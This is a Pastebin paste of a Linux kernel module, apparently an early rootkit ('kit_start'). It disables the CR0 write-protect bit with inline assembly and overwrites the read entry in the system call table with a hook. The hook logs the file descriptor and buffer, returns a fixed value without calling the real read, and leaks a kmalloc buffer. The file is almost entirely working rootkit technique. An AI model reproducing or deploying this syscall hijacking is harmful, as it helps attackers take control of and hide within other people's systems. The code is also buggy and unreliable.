Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <linux/module.h>
- #include <linux/slab.h>
- #include <linux/string.h>
- #include <linux/moduleparam.h>
- #include <linux/kernel.h>
- #include <linux/init.h>
- #include <linux/tty.h>
- #include <linux/unistd.h>
- #include <linux/syscalls.h>
- #include <asm/ptrace.h>
- #include <asm/uaccess.h>
- #include <asm/cacheflush.h>
- #include <linux/sched.h>
- #include <linux/file.h>
- #include <linux/proc_fs.h>
- #include <linux/dirent.h>
- #include <net/tcp.h>
- MODULE_LICENSE("GPL");
- unsigned long *sys_call_table;
- unsigned long ( *original_read ) ( const struct pt_regs *regs );
- static inline void rw_enable( void ) {
- asm volatile ( "cli \n"
- "pushq %rax \n"
- "movq %cr0, %rax \n"
- "andq $0xfffffffffffeffff, %rax \n"
- "movq %rax, %cr0 \n"
- "popq %rax " );
- }
- static inline uint64_t getcr0(void) {
- register uint64_t ret = 0;
- asm volatile (
- "movq %%cr0, %0\n"
- :"=r"(ret)
- );
- return ret;
- }
- static inline void rw_disable( register uint64_t val ) {
- asm volatile(
- "movq %0, %%cr0\n"
- "sti "
- :
- :"r"(val)
- );
- }
- unsigned long test_read(const struct pt_regs *regs){
- printk(KERN_INFO "Inside test_read");
- unsigned int fd = regs->di;
- char *buf = (char*) regs->si;
- int i;
- unsigned long r=1;
- char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
- printk(KERN_INFO "File descriptor\n");
- printk(KERN_CONT "%lu",fd);
- printk(KERN_INFO "User Buffer\n");
- printk(KERN_CONT "%p",buf);
- return r;
- }
- static int __init kit_start(void)
- {
- sys_call_table = kallsyms_lookup_name("sys_call_table");
- printk(KERN_INFO "System call addresss ");
- printk(KERN_CONT "%p",sys_call_table);
- original_read = (void *)sys_call_table[__NR_read];
- printk(KERN_INFO "Original read address ");
- printk(KERN_CONT "%p",original_read);
- register uint64_t cr0;
- cr0 = getcr0();
- rw_enable();
- sys_call_table[__NR_read]=test_read;
- rw_disable( cr0 );
- return 0;
- }
- /*delete module rmmod*/
- void __exit kit_exit(void)
- {
- printk(KERN_INFO "Exiting");
- register uint64_t cr0;
- cr0 = getcr0();
- rw_enable();
- sys_call_table[ __NR_read ] = original_read;
- rw_disable( cr0 );
- }
- module_init(kit_start);
- module_exit(kit_exit);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement